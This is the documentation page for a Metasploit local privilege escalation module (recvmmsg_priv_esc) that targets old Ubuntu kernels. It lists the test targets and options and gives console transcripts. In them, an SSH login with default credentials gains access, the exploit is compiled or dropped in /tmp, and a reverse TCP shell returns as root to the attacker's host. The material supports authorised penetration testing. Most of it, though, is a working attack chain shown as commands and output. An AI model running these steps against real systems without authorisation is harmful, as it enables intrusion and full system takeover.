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metasploit-framework/documentation/modules/exploit/linux/local/recvmmsg_priv_esc.md

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Creating A Testing Environment

This module works against Ubuntu 13.04, and 13.10. As of writing this, those releases are at EOL (end of life). If you wish to install gcc or other command, you'll need to fix your /etc/sources.list to point to the correct repos.

sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list source

This module has been tested against:

  1. Ubuntu 13.04 (default kernel) 3.8.0-19-generic

This module should also work against:

  1. Ubuntu 13.10 (default kernel) 3.11.0-12-generic
  2. Ubuntu 13.10 3.11.0-15-generic

More kernels could be added to this, just need the proper offsets.

Verification Steps

  1. Start msfconsole
  2. Exploit a box via whatever method
  3. Do: use exploit/linux/local/recvmmsg_priv_esc
  4. Do: set session #
  5. Do: set verbose true
  6. Do: exploit

Options

COMPILE

If we should attempt to compile live on the system, or drop a binary. Default is auto which will compile if gcc is installed.

WritableDir

A folder we can write files to. Defaults to /tmp

Scenarios

Ubuntu 13.04 (with default kernel: 3.8.0-19-generic)

Initial Access

[*] Processing recvmmsg.rc for ERB directives.
resource (recvmmsg.rc)> use auxiliary/scanner/ssh/ssh_login
resource (recvmmsg.rc)> set rhosts 192.168.2.20
rhosts => 192.168.2.20
resource (recvmmsg.rc)> set username ubuntu
username => ubuntu
resource (recvmmsg.rc)> set password ubuntu
password => ubuntu
resource (recvmmsg.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39613 -> 192.168.2.20:22) at 2016-10-08 23:19:48 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Escalate

resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[+] gcc is installed
[*] Live compiling exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/4bUIkbrG.c (5950 bytes)
[*] Max line length is 65537
[*] Writing 5950 bytes in 1 chunks of 20667 bytes (octal-encoded), using printf
[*] Compiling /tmp/4bUIkbrG.c
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min.  Start time: 2016-10-08 23:20:00 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:32:49 -0400

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

Using pre-compiled binaries on the same system

resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[-] gcc is not installed.  Compiling will fail.
[*] Dropping pre-compiled exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/Yc0xB9oC (14571 bytes)
[*] Max line length is 65537
[*] Writing 14571 bytes in 1 chunks of 38575 bytes (octal-encoded), using printf
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min.  Start time: 2016-10-08 23:42:01 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:54:50 -0400
[+] Deleted /tmp/Yc0xB9oC
[+] Deleted /tmp/a0RwAacU

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whoami
root